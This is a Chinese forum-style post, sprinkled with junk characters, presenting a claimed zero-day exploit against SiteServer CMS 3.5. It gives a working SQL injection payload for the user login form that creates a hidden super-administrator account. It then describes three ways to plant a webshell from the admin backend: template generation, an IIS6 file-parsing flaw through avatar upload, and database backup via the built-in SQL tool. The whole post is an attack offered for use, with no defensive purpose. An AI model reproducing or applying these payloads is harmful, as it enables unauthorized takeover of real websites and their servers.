SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
0 J9 M" J; p5 I  h$ d" o
4 t% d4 `8 q9 b6 v$ ~stieserver官网:www.siteserver.cn
" h( |2 U* l0 c  U( x/ z- e
- `3 S+ x# r, w7 x8 q7 B9 U3 \
7 _  T; `3 s$ G% r0 G% `
EXP:

, P" g$ {# U& G) i  e7 {直接访问UserCenter/login.aspx



用户名处输入：
9 T8 m  z, A, M8 L# ~$ U
123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

0 S8 {5 y) d/ ?, T- t$ I- _
9 I6 d7 S& y* r8 i2 p' i+ m( ^
) \5 }2 }5 X6 f$ G密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
) |- K  D, l* s, m% p/ H


3 z0 V1 ]6 l' S4 E! U之后再访问后台SiteServer/login.aspx用插入的用户登陆



后台拿webshell的三种方法：

一、

站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

6 W; {/ S/ O0 w. s+ e4 X二、
% I: G- V% E; G" p4 U# A0 _
成员权限-》添加用户-》用户名为：1.asp
4 \- \; [2 t/ b/ j
http://127.0.0.1/usercenter/
* O' A& `  y6 q( D  d1 ^" T+ k
& m: M3 b1 j$ ^用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell

3 E" R/ @2 c) X（ps：后台添加用户时不会验证是否含有非法字符）

* P9 q% U, p9 i% w% n三、

+ m8 C% D6 a& B  |' ?( d3 Y系统工具-》实用工具-》机器参数查看
' [& x: B9 H* M9 {! _' C2 J- r可以看到数据库类型、名称，WEB路径

% H4 I6 P+ B' w2 U) B& D系统工具-》数据库工具-》SQL语句查询
0 r% e$ M8 k% I& h5 s这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。